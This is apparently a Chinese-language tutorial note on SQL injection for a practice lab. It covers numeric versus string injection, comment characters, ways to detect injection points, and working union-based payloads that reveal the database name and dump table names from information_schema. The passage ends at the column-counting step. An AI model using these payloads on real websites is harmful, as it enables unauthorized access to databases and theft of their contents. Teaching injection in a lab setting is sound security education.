今天主要是围绕数字型和字符型两中类型介绍sql注入
数字型
靶场第一关
select *from user where id=1
字符型
靶场第二关
select *from user where id='1'
两者的语句——区别在于 id=1处 的符号
数字型没有引号闭合,字符型有引号闭合
数字型和字符型应该可以理解了吧 一个是 int 一个是varchar
注释符
'#'(#)
-- (--空格)
--+
%23
这些都是注释符,可以换着使用
如果我们不闭合的话,我们写的语句就是这样的
select * from user where id='1 and 1=2 union select 1,2,3'
select * from user where id='1 and 1=2 union select 1,2,3'
select * from user where id='1' and 1=2 union select 1,2,3--+'
我们需要在id=1处 加个单引号闭合,这样才能成为id='1'
在末尾加上--+,这样才能注释掉末尾的‘单引号
语句意思就是 查询到id的值为字符1,并且and 1=2, 然后union select 1,2,3
加上--+ 以后末尾的单引号就不会影响 union select 语句
爆开数据库
?id=-1' union select 1,2,database() --+
爆开数据表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆开数据列(字段名)
自己围绕前面给的语句写一下
爆开flag
自己围绕前面给的语句写一下
这里的--+也可以写成其他的注释符
步骤同样是先围绕之前的从0开始
先判断是否存在注入点
加单引号 看与之前正常的网页是否一样,若不一样则可能存在sql注入
and 1=1 and 1=2 两者网页是否一样 ,若不一样则可能存在sql注入
(加减乘除)id=2 和 id=1+1 两者网页是否一样,若一样则可能存在sql注入
判断列数
这里也要注意闭合单引号